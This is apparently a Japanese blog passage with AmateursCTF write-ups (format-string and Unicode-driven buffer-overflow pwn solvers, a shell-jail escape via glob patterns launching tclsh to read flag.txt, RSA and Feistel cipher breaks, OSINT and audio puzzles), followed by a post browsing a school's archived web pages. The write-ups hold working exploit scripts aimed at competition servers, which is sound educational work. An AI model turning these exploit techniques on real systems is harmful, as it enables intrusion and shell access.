not return */ exit(0); } if (((local_2018 == 'm') && (local_2017 == 'o')) && (local_2016 == 'o')) break; sVar5 = strlen(&local_2018); box(0x2a,0x2a,0,&local_2018); rep(0x20,(int)sVar5 / 2); puts("|"); uVar2 = rand(); pcVar4 = *(char **)(bears + (ulong)(uVar2 & 3) * 8); rep(0x20,(int)sVar5 / 2); puts(pcVar4); } puts("no."); /* WARNING: Subroutine does not return */ exit(1); }
観るとわかる通り,box関数に書式文字列攻撃ができる.
box関数
putchar(0x20); printf(param_4); putchar(0x20);
param_4はmainの&local_2018であり,これはユーザからの入力なので,%1$llxやらを入力すればレジスターやスタックの値を見れる.
ソースを見たり,gdbで実験すればわかる通り,以下のように入力すれば,左からcanary,base addr ,ret addrがわかる.
❯ ./chal 🧸 say: %13$llx,%14$llx,%15$llx *************************** * 8134954c383e9a00,7ffc0b834330,55ff531c2678 * ***************************
これにより,任意のスタックのアドレスをスタックに入力時に積むことができ,それを%hhnで指定することで,スタックの任意の1byteに値を書き込むことができる.
以下solver.py
from pwn import * io = remote("chal.amt.rs", 1338) # io = process("./chal") # io = gdb.debug("./chal", "b *box+180\nc") payload = b",%13$llx,%14$llx,%15$llx," io.sendlineafter(b"say:", payload) res = io.recvuntil(b"|") leaks = res.decode().split(",")[1:-1] print(leaks) main_addr = int(leaks[2], 16) - 702 # (<main+702>: stackbase_addr = int(leaks[1], 16) box_retaddr_addr = stackbase_addr - 0x2048 win_addr = main_addr + 0x126 print(hex(win_addr)) buf_offset = 22 format_str_len = 20 buf_addrs_offset = buf_offset + format_str_len payload = b"" prev = 0 c = 0 for i in p64(win_addr): print(i) t = (i - prev) % 256 if t == 0: t = 256 payload += f"%{t}c%{c+buf_addrs_offset}$hhn".encode("utf-8") prev = i c += 1 payload += b"a" * ((format_str_len * 8) - len(payload)) print(payload) for i in range(8): payload += p64(box_retaddr_addr + i) io.sendlineafter(b"say:", payload) io.interactive()
実行するとフラグが得られた.

amateursCTF{bearsay_mooooooooooooooooooo?}
buffer-overflow
chal.rs
use std::mem::ManuallyDrop; use std::ptr; use std::slice; use std::str; #[inline(never)] #[no_mangle] pub extern "C" fn uppercase(src: *const u8, srclen: usize, dst: *mut u8) { unsafe { let upper = ManuallyDrop::new( str::from_utf8(slice::from_raw_parts(src, srclen)) .unwrap() .to_uppercase(), ); let bytes = upper.as_bytes(); let bytes_ptr = bytes.as_ptr(); ptr::copy_nonoverlapping(bytes_ptr, dst, bytes.len()); } }
実行すると大文字にしてくれる.Cで以上のrustの関数を呼んでいる.
tomoyuki-nakabayashi.github.io
❯ ./chal a A
❯ checksec chal [*] '/home/trimscash/amateurs/pwn/buffer-overflow/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./lib'
セキュリティ機構はほとんどない.
ghidraでデコンパイル.
void win(void) { system("/bin/sh"); return; } undefined8 main(void) { long lVar1; undefined8 *puVar2; undefined8 uStack_1030; undefined8 local_1028 [513]; char *local_20; ssize_t local_18; long local_10; puVar2 = local_1028; for (lVar1 = 0x200; lVar1 != 0; lVar1 = lVar1 + -1) { *puVar2 = 0; puVar2 = puVar2 + 1; } uStack_1030 = 0x4011db; local_18 = read(0,local_1028,0x1000); if (local_18 < 0) { uStack_1030 = 0x4011ff; errx(1,"failed to read input"); } *(undefined *)((long)local_1028 + local_18 + -1) = 0; uStack_1030 = 0x401223; local_20 = strchr((char *)local_1028,10); if (local_20 == (char *)0x0) { local_10 = local_18 + -1; } else { *local_20 = '\0'; local_10 = (long)local_20 - (long)local_1028; } uStack_1030 = 0x401272; uppercase(local_1028,local_10,local_1028); uStack_1030 = 0x401281; puts((char *)local_1028); return 0; }
見てわかる通り,ユーザーの入力をrustで書かれた関数,uppercaseに入れている.
ここで,to_uppercaseのドキュメントを見てみよう.
// Sometimes the result is more than one character: assert_eq!('ß'.to_uppercase().to_string(), "SS");
とのことで,以下が変換表.
(今回のシステムではUTF-8なので注意)
入力できる文字数には制限があるので,この仕様を用いて,buf-overflowする.
具体的には,ﬗを用いた.
FB17; FB17; 0544 056D; 0544 053D; # ARMENIAN SMALL LIGATURE MEN XEH
3bytesのこれがto_uppercaseにより,մとխになる.
“մ” U+0574 Armenian Small Letter Men Unicode Character
“խ” U+056D Armenian Small Letter Xeh Unicode Character
つまり\xd5\x84\xd4\xbdの4byteになる.
これでbuf overflowができる.
あとはret addrを書き換えるだけだが,ここで入力できる値はutf-8の有効なbytesのみ.(無効なbytesを入れるとエラーが出て終わる)

ここで\x40,\x12は大丈夫なのだが,\xa0とかは無効なので単純にはできない.
悩んで適当に文字を見ていたら,2byte目が\xa0である文字があったのでそれを使えばいい.
https://www.compart.com/en/unicode/U+C2A0
しかし,このままだと,rspのが0x10byteの倍数でないので,movapsが使われている,systemに怒られる.
なので,pushした後の,0x4012a1を使う.
\xc2\xa1もある.슡
あとはsolver.pyを書く.
from pwn import * # io = process("./chal") io = remote("chal.amt.rs", 1337) # io = gdb.debug("./chal", "b *main+46\nc") system = 0x4012A1 overflow_len = 6 * 8 buf_len = 0x1000 payload = b"\xEF\xAC\x97" * overflow_len # ARMENIAN SMALL LIGATURE MEN XEH payload += b"a" * (buf_len - len(payload) - len(p64(system)) - 1) payload += b"\xc2" + p64(system) # c2 a1 슡 print(payload) io.sendline(payload) io.interactive()
実行するとシェルが取れた.

amateursCTF{i_love_unicodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
pwnはほかにheap問(56 solves)とか,sandbox問(34 solves)と思われる問題があったが,解かなかった(解けなかった).この問題はなぜか30 solvesだった. 難易度の表示がなかったのでこうなっているんだと思われる.(heapから逃げるな
bathroom-break [osint]
I was on an in-state skiing trip with my family when we decided to go out and see some sights. I remember needing to go to the bathroom near where these pictures were taken and then leaving a review. Can you find this review for me?


この近くのトイレを探せばいい.
google 画像検索をすると,以下のページが見つかった.
https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/
Hot Creek Geological Site, Mammoth Lakes, CA.らしい.
この近くのトイレのレビューにリンク付きのレビューがあった.
Convenient bathroom. I really like this bathroom, since it's the only one in the area. It's also pretty clean in addition to convenient, which is great. t . l y / p h X h x
t.ly/phXhxにアクセスするとフラグがあった.
amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}
cherry-blossoms [osint]
average southern californian reacts to DC weather. amazing scenery though at the time. Find the coords of this image! Grader Command: nc chal.amt.rs 1771
main.py
#!/usr/bin/env python3 # modified from HSCTF 10 grader import json with open("locations.json") as f: locations = json.load(f) wrong = False for i, coords in enumerate(locations, start=1): x2, y2 = coords x, y = map(float, input(f"Please enter the lat and long of the location: ").replace(",","").split(" ")) # increase if people have issues if abs(x2 - x) < 0.0010 and abs(y2 - y) < 0.0010: print("Correct! You have successfully determined the position of the camera.") else: print("Wrong! Try again after paying attention to the picture.") wrong = True if not wrong: with open("flag.txt") as f: print("Great job, the flag is ",f.read().strip()) else: print("Better luck next time ʕ·ᴥ·ʔ")

先日,ワシントンDCで桜祭りがあったとニュースで見た. 調べると桜祭りのマップが出てきた.
後ろにある旗は,ワシントン記念堂のものであると思われる.
これの外周を適当に見ていく.一番それらしいのがここだった.
38.8890507, -77.0335331
正しい座標を入力したらフラグがもらえるサーバーに,その座標を与えたら,フラグがもらえた.
amateursCTF{l00k1ng_l0v3ly_1n_4k}
densely-packed [misc]
wavファイルが渡される.
聴くとわかるが高速で何かをしゃべっていることがわかる.
wavのファイルヘッダーを書き換えて速度を落とす.
以前書いたプログラムを流用した.(かなり適当,無駄がある.
#include <math.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> typedef struct { char id[4]; // "RIFF" uint32_t size; // ファイルサイズ-8の数値 char form[4]; // "WAVE" } RIFFChunk; typedef struct { char id[4]; // "fmt " スペースも含まれるので注意 uint32_t size; // fmt領域のサイズ uint16_t format_id; // フォーマットID (PCM:1) uint16_t channel; // チャネル数 (モノラル:1 ステレオ:2) uint32_t fs; // サンプリング周波数 uint32_t byte_sec; // 1秒あたりのバイト数(fs×byte_samp) uint16_t byte_samp; // 1要素のバイト数(channel×(bit/8)) uint16_t bit; // 量子化ビット数(8 or 16) } FormatChunk; typedef struct { char id[4]; // "data" uint32_t size; // data領域のサイズ } DataChunk; double sampleNum(FormatChunk *f, DataChunk *d) { return d->size / (double)f->byte_samp; } double waveSeccond(FormatChunk *f, DataChunk *d) { return sampleNum(f, d) / f->fs; } void printFmt(FormatChunk *f) { printf("%s\n", f->id); printf("%d\n", f->size); printf("%d\n", f->format_id); printf("%d\n", f->channel); printf("%d\n", f->fs); printf("%d\n", f->byte_sec); printf("%d\n", f->byte_samp); printf("%d\n", f->bit); } void printRIFF(RIFFChunk *r) { printf("%s\n", r->id); printf("%d\n", r->size); printf("%s\n", r->form); } void printData(DataChunk *d) { printf("%s\n", d->id); printf("%d\n", d->size); } void wavToTxt(char *wave_file, char *txt_file) { FILE *fp; fp = fopen(wave_file, "rb"); if (fp == NULL) { perror("file not found"); } FILE *txt; txt = fopen(txt_file, "w"); if (txt == NULL) { perror("file cant open"); } RIFFChunk riff; FormatChunk fmt; DataChunk data_chunk; fread(&riff, sizeof(RIFFChunk), 1, fp); fread(&fmt, sizeof(FormatChunk), 1, fp); fread(&data_chunk, sizeof(DataChunk), 1, fp); uint16_t *data = (uint16_t *)malloc(data_chunk.size); fread(data, data_chunk.size, 1, fp); for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) { fprintf(txt, "%d\n", data[i]); } fclose(fp); fclose(txt); free(data); } void txtToWav(char *txt_file, char *wave_file) { FILE *wave_txt; wave_txt = fopen(txt_file, "r"); if (wave_txt == NULL) { perror("file not found"); } FILE *fp; fp = fopen(wave_file, "wb"); if (fp == NULL) { perror("file not found"); } char buf[100]; uint32_t sample_num = 0; while (fgets(buf, 90, wave_txt) != NULL) { sample_num++; } RIFFChunk riff = { "RIFF", 2130296, "WAVE"}; FormatChunk fmt = { "fmt ", 16, 1, 1, 11025, 22050, 2, 16}; DataChunk data_chunk = { "data", 2130260, }; riff.size = sample_num * (fmt.bit / 8) + sizeof(RIFFChunk) + sizeof(FormatChunk) + sizeof(DataChunk) - 8; fmt.byte_samp = fmt.channel * (fmt.bit / 8); fmt.byte_sec = fmt.fs * fmt.byte_samp; data_chunk.size = sample_num * (fmt.bit / 8); // 1/3倍に変更 fmt.fs = fmt.fs / 3; fmt.byte_sec = fmt.fs * fmt.byte_samp; fseek(wave_txt, 0, SEEK_SET); uint16_t *data = (uint16_t *)malloc(data_chunk.size); for (int i = 0; i < sample_num; i++) { fgets(buf, 90, wave_txt); data[i] = atoi(buf); } fwrite(&riff, sizeof(RIFFChunk), 1, fp); fwrite(&fmt, sizeof(FormatChunk), 1, fp); fwrite(&data_chunk, sizeof(DataChunk), 1, fp); fwrite(data, data_chunk.size, 1, fp); fclose(wave_txt); fclose(fp); free(data); } int main() { wavToTxt("laughing.wav", "wave.txt"); txtToWav("wave.txt", "laughing2.wav"); RIFFChunk riff; FormatChunk fmt; DataChunk data_chunk; FILE *wave_file; wave_file = fopen("laughing.wav", "rb"); if (wave_file == NULL) { perror("file not found"); } fseek(wave_file, 0, SEEK_SET); fread(&riff, sizeof(RIFFChunk), 1, wave_file); fread(&fmt, sizeof(FormatChunk), 1, wave_file); fread(&data_chunk, sizeof(DataChunk), 1, wave_file); printFmt(&fmt); printf("filesize: %d\n", riff.size); printf("channel num: %d\n", fmt.channel); printf("sampling freq: %d\n", fmt.fs); printf("bit num: %d\n", fmt.bit); printf("sample num: %f\n", sampleNum(&fmt, &data_chunk)); printf("recording time: %f [s]\n", waveSeccond(&fmt, &data_chunk)); return 0; }
流用しているので無駄があるが,やっていることは,速度を落としてる.
// 1/3倍に変更 fmt.fs = fmt.fs / 3; fmt.byte_sec = fmt.fs * fmt.byte_samp;
また速度を落としたものを聞くと,逆再生されているように感じたので,データ部分を逆から読み込んでいる.
for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) { fprintf(txt, "%d\n", data[i]); }
出力されたものを聞くと,機械音声で,inverseとtransfomationsをアンダースコアでつなげてフラグラッパーでラップしたものと言っていた.
amateursCTF{inverse_transfomations}
transfomationsの最後のsを聞き取れず死んでいた.
sansomega [jail]
#!/usr/local/bin/python3 import subprocess BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]' def shell(): while True: cmd = input('$ ') if any(c in BANNED for c in cmd): print('Banned characters detected') exit(1) if len(cmd) >= 20: print('Command too long') exit(1) proc = subprocess.Popen( ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) print(proc.stdout.read().decode('utf-8'), end='') if __name__ == '__main__': shell()
Dockerfile
FROM python:3.10 as base COPY ./shell.py /app/run COPY ./flag.txt /app/flag.txt FROM pwn.red/jail:latest COPY --from=base / /srv RUN chmod 755 /srv/app/run ENV JAIL_TIME=300 JAIL_MEM=50M JAIL_PIDS=10 JAIL_DEV=null,zero,urandom,ptmx JAIL_PIDS=60
入力できる文字が限られている.しかし?が使えるので,以下のようなことができる.
/???/???
これにマッチする最初のファイルが実行される.
末尾が数字である対話型のプログラムを探すことにした.
いろいろ探してたらtclsh8.6を見つけた.
/???/?????8.6
とすれば実行できる.
ファイルの読み込みは以下の手順
set file [open "/app/flag.txt" r] set content [read $file] puts $content exit
一連の動作をまとめてやるとフラグがもらえた.
❯ nc chal.amt.rs 2100
$ /???/?????8.6
set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
unsuspicious-rsa [crypto]
from Crypto.Util.number import * def nextPrime(p, n): p += (n - p) % n p += 1 iters = 0 while not isPrime(p): p += n return p def factorial(n): if n == 0: return 1 return factorial(n-1) * n flag = bytes_to_long(open('flag.txt', 'rb').read().strip()) p = getPrime(512) q = nextPrime(p, factorial(90)) N = p * q e = 65537 c = pow(flag, e, N) print(N, e, c)
output.txt
172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 65537 128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241
重要なのはnextPrimeの実装
def nextPrime(p, n): p += (n - p) % n p += 1
変なことをしている.手元で実験してみよう.
>>> p=2 >>> n=6 >>> p+(n-p)%n 6
p<nの時はp=nとなる.
p>nの時はどうだろうか.
>>> p=7 >>> n=6 >>> p+(n-p)%n 12 >>> p=13 >>> p+(n-p)%n 18 >>> p=25 >>> p+(n-p)%n 30
p=n*(p//n)となっていることがわかる.
この関数を以下のように使っているので,生成される素数は予測可能.
q = nextPrime(p, factorial(90))
factorial(90)は90!
あとは pのだいたいの値がわかればいいがこれはsqrt(n)でいいはず.
あとはsolverを書くだけ.
from Crypto.Util.number import * import math def nextPrime(p, n): p += (n - p) % n p += 1 iters = 0 while not isPrime(p): p += n return p def factorial(n): if n == 0: return 1 return factorial(n-1) * n N=172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 e=65537 c=128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241 factorial_n=factorial(90) t=int(math.sqrt(N))//factorial_n q=factorial_n*t+1 while N%q!=0: q+=factorial_n # print(factorial(90)) print(q) p=N//q phi=(p-1)*(q-1) d=pow(e,-1,phi) m=pow(c,d,N) print(long_to_bytes(m))
実行するとフラグがもらえた.
amateursCTF{here's_the_flag_you_requested.}
faked-onion
#!/usr/local/bin/python3 import hmac from os import urandom def strxor(a: bytes, b: bytes): return bytes([x ^ y for x, y in zip(a, b)]) class Cipher: def __init__(self, key: bytes): self.key = key self.block_size = 16 self.rounds = 1 def F(self, x: bytes): return hmac.new(self.key, x, "md5").digest()[:15] def encrypt(self, plaintext: bytes): plaintext = plaintext.ljust(self.block_size, b"\x00") ciphertext = b"" for i in range(0, len(plaintext), self.block_size): block = plaintext[i : i + self.block_size] for _ in range(self.rounds): L, R = block[:-1], block[-1:] L, R = R, strxor(L, self.F(R)) block = L + R ciphertext += block return ciphertext key = urandom(16) cipher = Cipher(key) flag = open("flag.txt", "rb").read().strip() print("faked onion") while True: choice = input("1. Encrypt a message\n2. Get encrypted flag\n3. Exit\n> ").strip() if choice == "1": pt = input("Enter your message in hex: ").strip() pt = bytes.fromhex(pt) print(cipher.encrypt(pt).hex()) elif choice == "2": print(cipher.encrypt(flag).hex()) else: break print("Goodbye!")
まずdecrypt関数を作る.これはencryptの逆の手順をする関数を作ればいい.
def decrypt(ciphertext: bytes, hash_table: list): block_size = 16 plaintext = b"" rounds = 1 c = 0 for i in range(0, len(ciphertext), block_size): block = ciphertext[i : i + block_size] for _ in range(rounds): L, R = block[:1], block[1:] L, R = strxor(R, hash_table[c]), L block = L + R plaintext += block c += 1 return plaintext.rstrip(b"\x00")
あとはフラグを暗号化するときの,F(R)の値を特定すればいいのだが,encryptの実装を見るとわかる通り,平文の16バイト目を使って作っている. さらに,その平文の16バイト目は暗号化されずに出力されている.
def encrypt(self, plaintext: bytes): plaintext = plaintext.ljust(self.block_size, b"\x00") ciphertext = b"" for i in range(0, len(plaintext), self.block_size): block = plaintext[i : i + self.block_size] for _ in range(self.rounds): L, R = block[:-1], block[-1:] L, R = R, strxor(L, self.F(R)) block = L + R ciphertext += block return ciphertext
このことから,フラグを暗号化するときの,F(R)の値は,\x00*15+その16バイト目の値で取得できる.
これをもとにsolverを書く
#!/usr/local/bin/python3 import hmac from os import urandom from pwn import * def strxor(a: bytes, b: bytes): return bytes([x ^ y for x, y in zip(a, b)]) def decrypt(ciphertext: bytes, hash_table: list): block_size = 16 plaintext = b"" rounds = 1 c = 0 for i in range(0, len(ciphertext), block_size): block = ciphertext[i : i + block_size] for _ in range(rounds): L, R = block[:1], block[1:] L, R = strxor(R, hash_table[c]), L block = L + R plaintext += block c += 1 return plaintext.rstrip(b"\x00") io = remote("chal.amt.rs", 1414) block_size = 16 io.sendlineafter(b"> ", b"2") flag_crypt = io.readline()[:-1] flag_crypt_bytes = bytes.fromhex(flag_crypt.decode()) print(flag_crypt) print(flag_crypt_bytes) flag_parts = [] for i in range(0, len(flag_crypt_bytes), block_size): flag_parts.append(flag_crypt_bytes[i]) print(len(flag_crypt_bytes) / block_size) print(flag_parts) hash_table = [] for i in flag_parts: payload = b"00" * 15 + hex(i)[2:].ljust(2, "0").encode() io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Enter your message in hex: ", payload) print(payload) flag_part_hash = io.readline()[:-1] flag_part_hash_bytes = bytes.fromhex(flag_part_hash.decode()) print(len(flag_part_hash_bytes)) hash_table.append(flag_part_hash_bytes[1:]) print(hash_table) flag = decrypt(flag_crypt_bytes, hash_table) print(flag)
実行するとフラグがもらえた.
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}'
おわり
問題数が多くて,面白い問題が多かった.解き切れていないのでおいおい解いていこうと思う.
楽しかった.
hatenablogのwebエディタで書いたらめちゃおもになって,writeup書くの大変だった.
読んでくれてありがとうございました.終わりです.
Wayback Machineで母校の文化と歴史を知ろう
はじめに
皆さん,母校のことわかっていますか?
私は東京高専のJK*1,Trimscashです!
今日はWayback Machineで昔に戻り,昔の東京高専の様子を見てみたらいろいろな文化と歴史を知れた話をします.

内輪感はすごくあるけど読んでってね
Wayback Machineとは
Internet Archive is a non-profit library of millions of free books, movies, software, music, websites, and more.
Wayback Machineとはウェブページをコピーし保管して,誰でもいつでも見れるようにしてくれているサービスです.

理念とかは以下を見ればわかります. 多分,儚いwebというメディアの保管をし文化と歴史を後世に伝えるためにあるんだと思います.(適当)
この記事では,完全に誰でもアクセスすることができる,100%公開されている情報を集めて,母校の文化と歴史をひしひしと感じ,気持ちよくなっていきます.
調べればわかることなのですが,できるだけ個人情報や個人の肖像は載せていません.また何か問題があれば対応するので何なりとご連絡ください.
現在の東京高専のホームページ

見ての通り,何の変哲もなく,何の歴史も,文化も個性も感じないつまらないありきたりなホームページですね.
こりゃWayback Machineで昔に戻っても,どうせつまんないですね.
あ~やだやだ,うちの学校がこんなつまんない学校だなんて,どうせ昔っから何も変わらんつまんない学校なんだ..が一応,観ておきますかね..
昔のホームページ
https://web.archive.org/web/19961219013055/http://ss2.tokyo-ct.ac.jp/

1999年に1件ありますね.見てみましょう.

うーん普通.残念ですね.この学校には,文化も歴史のかけらも残っていませんでした.そんなの何にもないのと一緒です.悲しいね..
一応自分の所属する情報工学科でも見てきましょう.


お,知ってる名前がありますね.見てみましょう.


何ですかこれは...

素晴らしい.
私の高専には,しっかりと歴史があり,文化があり,学んできた学生たちがいたのです. その足跡がしっかりと残されています.
学生のページも見てみましょう.
高専のギャル
https://web.archive.org/web/19961115095046/http://ss2.tokyo-ct.ac.jp/~akiko/Welcome.html


凄い.高専にもギャルが存在したんですね..!
いよいよ、携帯とPHSが完全につながります。携帯の会社によってつながる日は違うけど、どの会社もつながるそうです。PHSから携帯への発信は、どれも完全にOKになっています。これからはPHS時代?どちらも確実にユーザーが増えていることは間違いないんだから、携帯もPHSも、つなぐとき通話料もっと安くしてー。(PHS解約しました。番号知っている人、ベルに連絡してね)
時代の流れを感じます.こんなにも前から,この学校は存在していたんですね.当然知ってはいましたし,もっと前から存在していることも当然知っていますが,実際の学生の記録はそんなに見ないので面白いですね.
そこらを歩いているおじさん,おばさんにも,学生時代があって人生があるのだという当然のことを実感できます.
ほかにも見ていきましょう.
昔の学生の様子(1997年以前)
いろいろあさっていたら,ある学生のページを見つけました.

見ていきましょう.ちなみに,当時この方は高専卒業生である大学生のようで,このページのドメインも東京高専のものから,別の学校にうつっています.


面白いですね! 一つずつ見ていきましょう!
東京の高専の歴史
東京にある高専は,今は東京高専,サレジオ高専,産技高専の3つですが,1997年当時はいろんな高専があったんですね.
また,都立高専、都立航空高専は併合されて,今の産技高専になったようです.
初めて知りました.面白いですね.東京高専の文化や歴史だけでなく,当時の文化や,時代背景や技術も見えてきますね.
今もあるスーパーアルプス狭間店
スーパーアルプス狭間店 普通のチェーン店のスーパーです。ただ、高専の真正面にあるだけで、 高専生の毒牙にかかり、よく教務がお菓子の詰め合わせ持って、謝りに 行っているそうです(具体的に何をしてるかは、あえて言いません)。
だそうです.この当時からスーパーアルプスってあったんですね. スーパーアルプス狭間店は,東京高専の目の前にあるスーパーで,東京高専生が猛威を振るっています.(ふるっていません)
https://www.google.com/maps/@35.6382659,139.3002536,3a,75y,159.56h,96.61t/data=!3m6!1e1!3m4!1sl-zoutOf8pLVluoVs9qHuA!2e0!7i16384!8i8192?entry=ttuwww.google.com


今は亡きノジマ
ノジマは今はありません.フロッピーディスクを買いに行くことも今はありません.
スーパーアルプス狭間店の隣には今は,DAISOがあります.
https://www.google.com/maps/@35.6383055,139.2993866,3a,75y,145.75h,95.73t/data=!3m6!1e1!3m4!1s_DWwVimdjyTvwkmYR_gdFQ!2e0!7i16384!8i8192?entry=ttuwww.google.com

サイゼリヤ・CASA・味の民芸
サイゼリヤ・CASA・味の民芸 この3店は、1つの交差点の3つの角にあります。ものすごい競争です。 その競争のおかげで、こっちは食べに行きやすいけど、やっぱりサイゼ リヤが安いから、私は好きです。 ちなみに、東名海老名S・Aには『CASA』があって、驚きました。
CASAはもうないです.
味の民芸がある交差点はここでしょう.サイゼリヤもここにありますね.
https://www.google.com/maps/place/%E5%91%B3%E3%81%AE%E6%B0%91%E8%8A%B8+%E5%85%AB%E7%8E%8B%E5%AD%90%E6%A4%9A%E7%94%B0%E5%BA%97/@35.6394017,139.3095152,111a,35y,167.48h,48.75t/data=!3m1!1e3!4m6!3m5!1s0x60191c3b5e9ab567:0xd0f24c120a393f6c!8m2!3d35.6381422!4d139.309785!16s%2Fg%2F1vlzbdsf?entry=ttuwww.google.com

しかし,ここは東京高専からかなり遠く,今はこれとは別のサイゼリヤがより学校に近いイトーヨーカドーに入っています.なので今はここまで高専生が来ることはあまりないような気がしますが,昔はここで食べていたんですね.
ちなみに↓のイトーヨーカドーはあのフワちゃんが学生のころからあるようです.
https://www.google.com/maps/place/%E3%82%A4%E3%83%88%E3%83%BC%E3%83%A8%E3%83%BC%E3%82%AB%E3%83%89%E3%83%BC+%E5%85%AB%E7%8E%8B%E5%AD%90%E5%BA%97/@35.6422651,139.2934603,425a,35y,167.48h,48.59t/data=!3m1!1e3!4m6!3m5!1s0x60191c0341346b17:0x4578256f84c0463f!8m2!3d35.6378429!4d139.2935541!16s%2Fg%2F1tk67r0_?entry=ttuwww.google.com
地元のイトーヨーカドー!!
— フワちゃん FUWA (@fuwa876) 2023年11月12日
ポッポの山盛りポテトエモすぎ!泣ける!!! pic.twitter.com/MKpm3pgxmO
以下のページによるとイトーヨーカドー八王子店は1999年からあるようで,この方が東京高専の学生のころは,まだなかったようですね.

ラーメン屋 東龍
このラーメン屋は今はありません.
調べると食べログが出てきました.
東龍とは,おそらくこのラーメン屋だと思われるのですが,このラーメン屋は,”高専の裏門(西門)のそばにある”,と書かれるほどに近くはありません.

https://www.google.com/maps/@35.6492025,139.2968073,3a,75y,104.19h,94.48t/data=!3m6!1e1!3m4!1stvarjrbBRJ8Oy5GgRYrGpw!2e0!7i16384!8i8192?entry=ttuwww.google.com

今の学生に”高専の裏門(西門)のそばにあるラーメン屋”,と言えばおそらくここです.
https://www.google.com/maps/place/%E9%BB%99%E5%8F%A4%E5%AF%BF/@35.6391446,139.2945645,3a,75y,205.67h,91.3t/data=!3m6!1e1!3m4!1sB40pQvmf6NEJrcRRW245wQ!2e0!7i16384!8i8192!4m6!3m5!1s0x60191c1cd2616173:0x3a3bba3707126fba!8m2!3d35.6391068!4d139.2944946!16s%2Fg%2F1tf243sj?entry=ttuwww.google.com

もともと東龍というラーメン屋が本当に”高専の裏門(西門)のそばに”あり,移動したのでしょうか.真相は謎です.
昔のスラング
めじろ台駅 狭間駅より1駅、新宿よりの駅。めじろ台のほうが遠いから、利用者数 も少ないので、よく高専カップル(高専内のカップルのこと。差別用語。 =死語かな?)が住宅地内を仲良く、めじろ台駅まで歩いてました。で も、めじろ台には安い薬屋があったので、私は友人と通ってました。 …友人と。
J科棟はめじろ台駅のほうが近いという噂は聞きますよね。 年の離れたOBと話すときは、J科棟は狭間駅からもめじろ台駅からも遠いすよね~とか言っておくといいかもしれないですね。
死語すぎますね.
一押しスポット
あと、ものすごく密かなマイナースポットとしては、高専情報棟(7棟)の屋上 でしょうか。高台の建物なので、夜景は最高で、八王子一帯が一望できます。 また、目を凝らせば、都庁などの新宿高層ビル街や、東京タワーも見れます。 なにげに、いい所でした。
これは,今でも変わりません.
教室の窓から見える景色はきれいです.ここに貼ろうかと思いましたが見つかりませんでした.また載せておきますね.


忘れちゃいけない大事なこと。(連ドラの舞台
あと、忘れちゃいけない大事なこと。 今年10月からの連ドラ『未成年』、舞台になっている私立高校は、東京高専で 撮っている そうです。今から見学に行こうかな~、と思った方。残念! 夏休みの終りに撮ったそうです。私も見たかったのに…。
1995年に放送されたドラマだそうです.
同年代の若者5人を中心に、青春の過程で起こる様々な苦悩と葛藤を生々しく描いたこの作品は、出演芸能人の出世作としても知られている。 未成年 (テレビドラマ) - Wikipedia
そんなもんは高専にない(私にはない). 準学士過程の男くさい教室の中で,パソコンをポチポチするだけ,そんなんでいいのかという苦悩と葛藤はある.
どんな皮肉だろう.
おわり
ほかにもいろいろと面白く感慨深いものを見つけましたが,記事で紹介するのはここまでにして独り占めしておきます.
Wayback Machineで昔の学校のホームページを見てみたら.
当時の学生の様子を見れた.
当時の学校の文化を知れた.
当時の社会の技術や文化を知れた.
代々歴史があったことを知った.
いろいろ知れました.他人が残した黒歴史を漁るのはかなり悪趣味ではありますが,調べる過程で当時の文化,歴史,技術や出来事を知ることができました. この学校で学んできたのは私だけでなく,多くの先代がいたという,当然の忘れちゃいけない大事なことを実感できたような気がします.
今年で私も5年で,もう上の代は全員消えてしまいました.(卒業おめでとうございます.)なんだか寂しいですが,今回歴史を漁り,すべての代の人間に同級生と同じような親しみを感じることができました.当然だけど彼らにもそれぞれ人生があり未来があると思うとなんか安心しますな.
今はツイッターと言うものがあり,適当につぶやくだけで,その文化を残すことができるようになっていますが,いずれその文化も勝手に漁られるかもしれないですね.(
みんなも母校のホームページを漁ってみてはいかがでしょうか.
以上
ACSCのやつ
ACSC

簡単な問題だけ解けました. 楽しかったです.
rot13 [pwn]
